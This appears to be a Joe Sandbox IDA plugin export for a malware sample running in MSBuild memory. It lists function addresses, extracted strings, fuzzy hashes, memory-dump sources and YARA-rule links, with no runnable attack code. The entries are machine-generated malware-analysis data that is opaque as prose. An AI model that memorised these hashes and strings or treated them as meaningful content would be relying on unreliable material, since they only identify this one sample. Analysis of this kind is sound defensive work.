Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$I0=$S3.$WG#`
API String ID: 0-3669199882
Opcode ID: ddf64efab45b9e82fbddc74394cd872f57e32351d2d11f691a4df5c1f3e68816
Instruction ID: 3af0a501ca06098fac83fa8510b71e7008d0c82056e0b410c24d658feca5cf7a
Opcode Fuzzy Hash: ddf64efab45b9e82fbddc74394cd872f57e32351d2d11f691a4df5c1f3e68816
Instruction Fuzzy Hash: 0C03F674A0522A8FCB54CF68C884A9DB7F5FB59304F1495A6E819E7315E730EE89CF40

Function 02D2D110 Relevance: 6.7, Strings: 4, Instructions: 1683COMMON

Download Yara Rule

Strings

M2*r, xrefs: 02D2E6D0
^<oN, xrefs: 02D2E479
^L,j, xrefs: 02D2DA16
7.LL, xrefs: 02D2DCE0

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN$^L,j
API String ID: 0-4087586809
Opcode ID: f501b393fbcc0b2c546459c75fc4ab65555b682d11c7e7ae9b6de1fba0d74393
Instruction ID: e9005a0e063cc499b00423da819cd7edad99f9af6571f56567db564a6cf056e9
Opcode Fuzzy Hash: f501b393fbcc0b2c546459c75fc4ab65555b682d11c7e7ae9b6de1fba0d74393
Instruction Fuzzy Hash: 5B039174E0122A8FCB64CF68C984A9DBBF5BB59304F1495EAD819E7315E730AE85CF40

Function 02D215C3 Relevance: 6.3, Strings: 4, Instructions: 1252COMMON

Download Yara Rule

Strings

*JL6, xrefs: 02D22240
@^#, xrefs: 02D228FC
S3., xrefs: 02D226D4
:hW`, xrefs: 02D22055

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: 21a38aa9c7cf5cd0d101b7fad29bfb1ca9e96a973735394cdc994992ca9cd961
Instruction ID: cf3a1e6c7662fa1795a68a63960aef8aaa4c8af4d9ea19f37a5513aa46ed7a82
Opcode Fuzzy Hash: 21a38aa9c7cf5cd0d101b7fad29bfb1ca9e96a973735394cdc994992ca9cd961
Instruction Fuzzy Hash: F4D2D674A0122A8FCB54CF68D984A9DB7F6FB99304F1485A6D818E7315E730EE85CF80

Function 02D2D0F3 Relevance: 5.0, Strings: 3, Instructions: 1225COMMON

Download Yara Rule

Strings

M2*r, xrefs: 02D2E6D0
^<oN, xrefs: 02D2E479
7.LL, xrefs: 02D2DCE0

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN
API String ID: 0-2101644819
Opcode ID: dcab3d62ad0c03eb693ff665c9f325cecc0a7c5ef04cb9923fc470701df45fe0
Instruction ID: 3914a7a60be95b82fdf0f73a8d212349babb9118998cffdf17caefb5d2f1de1a
Opcode Fuzzy Hash: dcab3d62ad0c03eb693ff665c9f325cecc0a7c5ef04cb9923fc470701df45fe0
Instruction Fuzzy Hash: 33D28174E0122A8FCB64CF68C984A9DBBF5FB49304F1585AAD819E7355E730AE85CF40

Function 081012F8 Relevance: 4.9, Strings: 3, Instructions: 1162COMMON

Download Yara Rule

Strings

qRwXZttic1tdWSmU2ku7IEJpyF7t1ZXMKO7Di/YH5PS02lRZ08oOd8m3FlxNsKZaqGUQuKMTsbpgDBRn/6c1qGPlBLsAECKihBy5mLAxuHNlMFxo+xljJs4VZJpm8CAQzp, xrefs: 08101449, 08101C0F, 08102220
6, xrefs: 081013C9
@B/, xrefs: 08101759

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: 6$@B/$qRwXZttic1tdWSmU2ku7IEJpyF7t1ZXMKO7Di/YH5PS02lRZ08oOd8m3FlxNsKZaqGUQuKMTsbpgDBRn/6c1qGPlBLsAECKihBy5mLAxuHNlMFxo+xljJs4VZJpm8CAQzp
API String ID: 0-3575253058
Opcode ID: 4fcf3d5790fdd7b4867fb229fce65e4e9b699a830e4a795b5b7a890ab70b03d9
Instruction ID: 7adf29ecc0ce78cc943c22b17e008248a6f398d04f4a34c2632db2d3b6b6a17b
Opcode Fuzzy Hash: 4fcf3d5790fdd7b4867fb229fce65e4e9b699a830e4a795b5b7a890ab70b03d9
Instruction Fuzzy Hash: 14C2F374E012298FDB64CF69C988BDDBBB2BF49301F1482A9D409A7395DB749E81CF50

Function 0707BEC8 Relevance: 4.7, Strings: 2, Instructions: 2168COMMON

Download Yara Rule

Strings

^J_, xrefs: 0707D338
$kq, xrefs: 0707BF8C

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: ^J_$$kq
API String ID: 0-3882992391
Opcode ID: ef571e83fb63b25a4a3c4c3c3d3bc276d819861e6f11c5c52ec21b79f298950d
Instruction ID: 75ffd0deda29bfa721ff2500e37664506d8b1849d4ec40c3679e343c026ed8e9
Opcode Fuzzy Hash: ef571e83fb63b25a4a3c4c3c3d3bc276d819861e6f11c5c52ec21b79f298950d
Instruction Fuzzy Hash: AA4340B4E016298FDBA4CF28C984B99B7F5BB49300F1081EAE90DE7355D735AE858F44

Function 02D21070 Relevance: 4.1, Strings: 3, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5xID, xrefs: 02D21175
]/, xrefs: 02D213E1
35OG, xrefs: 02D21467

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 644e602b9bf6ae3e6f2e84bf043587bfc0d421c68b26c62a63c155ee7a41d5bf
Instruction ID: 45ffd4a44cc5aad562f7c64bd4129271c6489f49b4551de8309d2f606c8fab1a
Opcode Fuzzy Hash: 644e602b9bf6ae3e6f2e84bf043587bfc0d421c68b26c62a63c155ee7a41d5bf
Instruction Fuzzy Hash: 8D02A378E002198FDB54DFA9D580A9DBBF2FF49304F1081AAE409EB355EB34AA45CF51

Function 06EC0FA0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S7`, xrefs: 06EC11C1

Memory Dump Source

Source File: 0000000C.00000002.2959987406.0000000006EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6ec0000_MSBuild.jbxd

Similarity

API ID:
String ID: S7`
API String ID: 0-3296622871
Opcode ID: 74fc30716009523c4dd42f9e2072ea2006d5e4ce155b5881b9d9fc0502c4f9bd
Instruction ID: 8808383a6df264522d3e2afe2cbd24a37869cc1dd0f9d153252a838a6861a02d
Opcode Fuzzy Hash: 74fc30716009523c4dd42f9e2072ea2006d5e4ce155b5881b9d9fc0502c4f9bd
Instruction Fuzzy Hash: 23529374E012298FDBA4CF69D984BD9BBF1BB49310F1091AAE809E7355D730AE85CF50

Function 08105500 Relevance: 4.0, Strings: 2, Instructions: 1461COMMON

Download Yara Rule

Strings

Vo, xrefs: 081061B2
q, xrefs: 081054ED

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: q$Vo
API String ID: 0-2946525877
Opcode ID: 132f1d4e14846b24c17a335ee49c5a22bd1f3785e51858245aad7920f7174623
Instruction ID: 97ec50ad078b5bc6cce030fdad71b55b735126039c5f76f9dcf6a6c9150b12af
Opcode Fuzzy Hash: 132f1d4e14846b24c17a335ee49c5a22bd1f3785e51858245aad7920f7174623
Instruction Fuzzy Hash: CCF28D74E012298FCB64DF68D984B99BBF6BF49300F1481EAE819E7355D770AE818F50

Function 070735D0 Relevance: 3.6, Strings: 2, Instructions: 1142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 07073652
7qs, xrefs: 07074242

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: 7qs$D
API String ID: 0-3494831700
Opcode ID: 3cc77cdfd2f0a9da4f4740595587b486d2b19cc62056c2bae52e31e648968b3e
Instruction ID: 2e0ad8dd8f63ac719bf477698b54bc908879c81f028453a3b20bb8fa8a6d5c0b
Opcode Fuzzy Hash: 3cc77cdfd2f0a9da4f4740595587b486d2b19cc62056c2bae52e31e648968b3e
Instruction Fuzzy Hash: 6AD25FB4E012698FDB64CF68C984B99BBF5BB49300F1481EAE819E7351D730AE85CF44

Function 06EC29B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 06EC2A57

Strings

,, xrefs: 06EC29EE

Memory Dump Source

Source File: 0000000C.00000002.2959987406.0000000006EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6ec0000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID: ,
API String ID: 2994545307-3772416878
Opcode ID: 7910ba66ef02691c15f5aabac855defae60750700ca91612b1beb41d5882b01a
Instruction ID: 0ae46f5d61ac472af875ffe6bc4a59e46e816d892f6ac830a0de14bfde576b68
Opcode Fuzzy Hash: 7910ba66ef02691c15f5aabac855defae60750700ca91612b1beb41d5882b01a
Instruction Fuzzy Hash: C431E575E01218DFCB54DFA9D584ADDBBF2FF88320F149129E505A7354E730A982CB54

Function 07076381 Relevance: 3.2, Strings: 2, Instructions: 714
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 070768E1
1, xrefs: 07076B0B

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: .$1
API String ID: 0-1839485796
Opcode ID: a22ee0de21674bfb2d50993f3362d27789faf01f4414029877ac3fcbe0738f82
Instruction ID: 8857cecabc9544a40d4fa14c8fe9927ea5bb01a18726f3135d2c7146931bcf5e
Opcode Fuzzy Hash: a22ee0de21674bfb2d50993f3362d27789faf01f4414029877ac3fcbe0738f82
Instruction Fuzzy Hash: 6B72D7B5E016298FCB64DF68C880BDDBBB2BF49300F148299E519A7355DB31AE81CF54

Function 07077078 Relevance: 3.2, Strings: 2, Instructions: 663
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P}\, xrefs: 07077332
0b~, xrefs: 070773A1

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: 0b~$P}\
API String ID: 0-94426273
Opcode ID: 3299d9cedc874975c642c21401fc145f5939e8c7f044b620017ba743421672dd
Instruction ID: 17f4d34c311bfecfe6b4ed336006dbeba749a183ac729080a373f43d34abcf76
Opcode Fuzzy Hash: 3299d9cedc874975c642c21401fc145f5939e8c7f044b620017ba743421672dd
Instruction Fuzzy Hash: B5820BB4E052698FDBA4CF68C984BD9BBF1AB49300F1091E6D81CE7355E730AE858F54

Function 07070040 Relevance: 3.0, Strings: 2, Instructions: 466COMMON

Download Yara Rule

Strings

q, xrefs: 07070434
KDBM, xrefs: 070703B8

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: KDBM$q
API String ID: 0-3868953516
Opcode ID: 9aad9eb704ca06f3f4cb7fd031b93d81d141ae5d44aa73a3773380a94db5a885
Instruction ID: b1379d8a7f422006f9dee528e79574467bb951d883fc3ddcb6f7856f2c1b8008
Opcode Fuzzy Hash: 9aad9eb704ca06f3f4cb7fd031b93d81d141ae5d44aa73a3773380a94db5a885
Instruction Fuzzy Hash: 33325EB4E012298FDB64CF69C984BDDBBF1BB48310F1482A6E819A7355D730AE85CF54

Function 07070006 Relevance: 2.9, Strings: 2, Instructions: 366COMMON

Download Yara Rule

Strings

q, xrefs: 07070434
KDBM, xrefs: 070703B8

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: KDBM$q
API String ID: 0-3868953516
Opcode ID: 3e7c831500e540b95a2ec839dd7fa893d46c6c87cc039139bd4a8af9a4d7bb4e
Instruction ID: 1c8b6b8cc6e9f4aaa8c48204cfea7dd82c392dd65d909ee28e5176102bf1fa7b
Opcode Fuzzy Hash: 3e7c831500e540b95a2ec839dd7fa893d46c6c87cc039139bd4a8af9a4d7bb4e
Instruction Fuzzy Hash: A3029475E012298FCB64CF69C980BDDBBB2BF49310F1481A6E809A7355D735AE81CF50

Function 06EC1315 Relevance: 2.0, APIs: 1, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2959987406.0000000006EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6ec0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a50c36455563d8a580be3628f29a0a0cc319461d00ad94c6c53b4bd8e9014d09
Instruction ID: d6b451410ea7d6c766430f70122cba0a51827e1aa85026452198837e1a3f6c05
Opcode Fuzzy Hash: a50c36455563d8a580be3628f29a0a0cc319461d00ad94c6c53b4bd8e9014d09
Instruction Fuzzy Hash: 2F428074E052298FDBA0CF68D984BD9B7F1BB49314F1491EAE809E7355E7309E818F50

Function 08100040 Relevance: 2.0, Strings: 1, Instructions: 753COMMON

Download Yara Rule

Strings

N, xrefs: 081000D2

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 50a20d17ad33e538dfa520c2d106539c4e6f52cf755fe3e7d8ba46a6275f6ce7
Instruction ID: 4f52c2b170d7a3c255f38a8d03ee72b5d54da60928738fdb43b5653d97d03900
Opcode Fuzzy Hash: 50a20d17ad33e538dfa520c2d106539c4e6f52cf755fe3e7d8ba46a6275f6ce7
Instruction Fuzzy Hash: C6923A74E016298FDBA4CF69C984BDDBBB1BB49301F1081EAE80DE7355D770AA818F50

Function 06EC0F91 Relevance: 1.9, APIs: 1, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2959987406.0000000006EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6ec0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17fe565192081cf9e8374d48526010cc5f19efc27a216ecd2b44ef801261265
Instruction ID: b0946d55a0b0c47a6267ef0c54f1d3fb1b024f62ae82a1f3d196d1df11fa7618
Opcode Fuzzy Hash: e17fe565192081cf9e8374d48526010cc5f19efc27a216ecd2b44ef801261265
Instruction Fuzzy Hash: DD02B174E012298FDBA4DF69D984BD9BBF2BB48310F1091EAE409E7355D730AA85CF50

Function 02D2C880 Relevance: 1.8, Strings: 1, Instructions: 560COMMON

Download Yara Rule

Strings

\Lg, xrefs: 02D2CDC5

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: e0dd6310ff9e57b1c7c77fed6723aef1ef07fc14b4caab6227f2feb108009252
Instruction ID: 1d6528ad05cf50413970dfee61e02bdd691c96a04d863bfe9e77d2f28f28b84e
Opcode Fuzzy Hash: e0dd6310ff9e57b1c7c77fed6723aef1ef07fc14b4caab6227f2feb108009252
Instruction Fuzzy Hash: EC42B074E012198FCB54CF69C980A9DBBF6BF59304F1581AAD809EB355E730AE89CF50

Function 02D2C862 Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

\Lg, xrefs: 02D2CDC5

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: \Lg
API String ID: 0-2236610822
Opcode ID: 4e5427b2533e71205e66ddb440e7cbbe4aaa9a63456d6a0b2b27ccbd77a5b4c7
Instruction ID: 3c2497642ddee35f339244b6999d358d29c1d4b744acc9d062f510b980292931
Opcode Fuzzy Hash: 4e5427b2533e71205e66ddb440e7cbbe4aaa9a63456d6a0b2b27ccbd77a5b4c7
Instruction Fuzzy Hash: 78229F75E012198FDB54CFA9C980A9DBBF2FF48304F1581AAD809AB355E730AE85CF50

Function 02D21060 Relevance: 1.5, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

5xID, xrefs: 02D21175

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: 5xID
API String ID: 0-3965296546
Opcode ID: 12cf74dc5c5e866b92548066a51f45291cb2ef5e1127cc133e41fdea67cabf46
Instruction ID: 87f3e61cd44a8f0b6ffdeb8fa421c23c0cc23dd7737a06aea71fb3f9d888e391
Opcode Fuzzy Hash: 12cf74dc5c5e866b92548066a51f45291cb2ef5e1127cc133e41fdea67cabf46
Instruction Fuzzy Hash: E5E1A478E002198FDB54DFA9D580A9EBBF6FF48304F1481AAE409EB355DB34AA45CF50

Function 02D2B01F Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

rCI, xrefs: 02D2BA4A

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: rCI
API String ID: 0-4128173682
Opcode ID: 99b8a99e1f36257f294c37305bb2dccf7583bab905d9d0ee0284e3db6cdb6ead
Instruction ID: 4f93cf3d49f279d0503cfdbe4a866d21539462f1d81983972deecf0a9bfc5a1d
Opcode Fuzzy Hash: 99b8a99e1f36257f294c37305bb2dccf7583bab905d9d0ee0284e3db6cdb6ead
Instruction Fuzzy Hash: C9913674E012298FCB14CF69D880BD9BBF5EB99308F1481A6E849E7315DB70AE45CF50

Function 08107080 Relevance: .9, Instructions: 869COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a415c4d738597674f542bd1e559f75377170944b65ffbddb3349f67541e5c196
Instruction ID: bd3face0cdfc655964fc2657ec6eea9921dfacc3f469e88efad90251de262950
Opcode Fuzzy Hash: a415c4d738597674f542bd1e559f75377170944b65ffbddb3349f67541e5c196
Instruction Fuzzy Hash: F6A26B74E012298FDB64DF68C984BD9BBB1BF49300F1485EAE809E7395D731AE858F50

Function 07075060 Relevance: .9, Instructions: 859COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c558ed406dfce091acc833b2b2e50fad906538614b9a46adf8d54737781cb4fe
Instruction ID: c832452144fd8ecce70538590a29fb090f4a00de8d0425513a69cf0c080e38ff
Opcode Fuzzy Hash: c558ed406dfce091acc833b2b2e50fad906538614b9a46adf8d54737781cb4fe
Instruction Fuzzy Hash: 73A23EB4E012298FDBA4DF69C984BDDB7B1BB49300F1081EAD819A7355DB30AE81CF54

Function 0707F17C Relevance: .5, Instructions: 546COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da04891f4b1ee38057f2e6d66ea63a6944ccf52842d56d9b30e1730e61bcf2af
Instruction ID: 37d7c25ff2c144b4dd86acc0c289b579c1df98669ee3c354a53acd36f30ba092
Opcode Fuzzy Hash: da04891f4b1ee38057f2e6d66ea63a6944ccf52842d56d9b30e1730e61bcf2af
Instruction Fuzzy Hash: A2527FB4E012298FDB64CF68D980BDDBBF1BB49310F1486A6E418E7355E730AA85CF54

Function 07072CAB Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad006ce38486f55004e81a1df4ff28e42ffe73dae4dec6c40fb79d965cf55558
Instruction ID: 51ab2f0feee1ea5525c31f92ccf34f37dee2451fc45619389cb9a7c4b93471f0
Opcode Fuzzy Hash: ad006ce38486f55004e81a1df4ff28e42ffe73dae4dec6c40fb79d965cf55558
Instruction Fuzzy Hash: 3832E8B5E012298FDB64DF69C880BDDBBB2BF49300F1492A9D409A7395DB309E85CF54

Function 08107071 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562e32c21312bfb325c7ef5a147b3031f3502e61be5936fdbd0e09e5bf8d81e7
Instruction ID: 9b051b34429255e4954cbd25c8913940028b09da96e3762179c7090673ff59e7
Opcode Fuzzy Hash: 562e32c21312bfb325c7ef5a147b3031f3502e61be5936fdbd0e09e5bf8d81e7
Instruction Fuzzy Hash: 22328D74E012298FDB64DF69D984B9DBBB1BF49300F1481EAE809A7395D731AE818F50

Function 08102690 Relevance: .4, Instructions: 430COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9a00328ccb40686c669a7720468d62987aeecef11ab5c849ec795d330802dd
Instruction ID: eded77dc1a5691c02807a485c88625c197852a597791dade942af5ba34cc7265
Opcode Fuzzy Hash: 3b9a00328ccb40686c669a7720468d62987aeecef11ab5c849ec795d330802dd
Instruction Fuzzy Hash: BD12F674E01219CFDB64DF69C984BDEBBB2BF89300F1081AAD409A7395DB709A85CF54

Function 0735F159 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2962108525.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7350000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60ebb71bde353ef82065dc1ea0c83033533e4eac9f696eeed85743411c8530aa
Instruction ID: 655828d31937b697c2263a1ef8de09de928e3645512aeaa7bca7fb23d1cc34a1
Opcode Fuzzy Hash: 60ebb71bde353ef82065dc1ea0c83033533e4eac9f696eeed85743411c8530aa
Instruction Fuzzy Hash: 8D02F4B4E0121A8FDB60DFA8C984B9DBBB2BF49300F1482A5E819E7355D730E985CF50

Function 0707AC68 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ac00e24455b43e0c5025ef2ca3cb383bee9a8eb9c3769ba19949793dc3e1b0
Instruction ID: 8fc9faadd1f3c2d5200867fb0a99eef7292d4191b900f2c3e5067b32e2db6daa
Opcode Fuzzy Hash: 15ac00e24455b43e0c5025ef2ca3cb383bee9a8eb9c3769ba19949793dc3e1b0
Instruction Fuzzy Hash: A5D1B0B4E00219CFDB54CFA9C884B9DBBF2BB49300F1482AAE419EB355D734A985CF54

Function 07354F7E Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2962108525.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7350000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6f4eeb5202e06739715b789dd0dbaf664dd113e1da8235423687631ed94561
Instruction ID: 084873a1005100a6cc69b8f80664ae835cc1f0236cb375e9d41937afceb78465
Opcode Fuzzy Hash: ac6f4eeb5202e06739715b789dd0dbaf664dd113e1da8235423687631ed94561
Instruction Fuzzy Hash: EBD1C3B4A012298FDB64DF68C980ADDB7B2BF49300F2095E9D809A7355DB31AED1CF40

Function 07070828 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa53862102f1f75f0f4fcdcd2667b748974479001eaf2871676ca9c975df4b5
Instruction ID: bdc369129933d94a44aae1c2244439a96c4d6e7416e87e1e22ad70084ed3cd67
Opcode Fuzzy Hash: 4fa53862102f1f75f0f4fcdcd2667b748974479001eaf2871676ca9c975df4b5
Instruction Fuzzy Hash: A391E4B5E002199FDB54CFA9D880B9DBBF2FB88300F14826AE819E7355D734A945CF54

Function 02D2BD45 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362c6b74ba85dcf30bf0e274e9921c78581b1e4db2aca6c90c87d976f976eac8
Instruction ID: e193057c0f096428f852af20467eb96d48359218ce1476f90c21dd4339f243d4
Opcode Fuzzy Hash: 362c6b74ba85dcf30bf0e274e9921c78581b1e4db2aca6c90c87d976f976eac8
Instruction Fuzzy Hash: E171F6B4E006598FDB44CFAAC980A9EBBF2FF89304F14806AE515AB365D734AD05CF54

Function 02D2BD78 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 364816deee58540865d55c5825697037545000f2cf65882b06a78cfaa596cd23
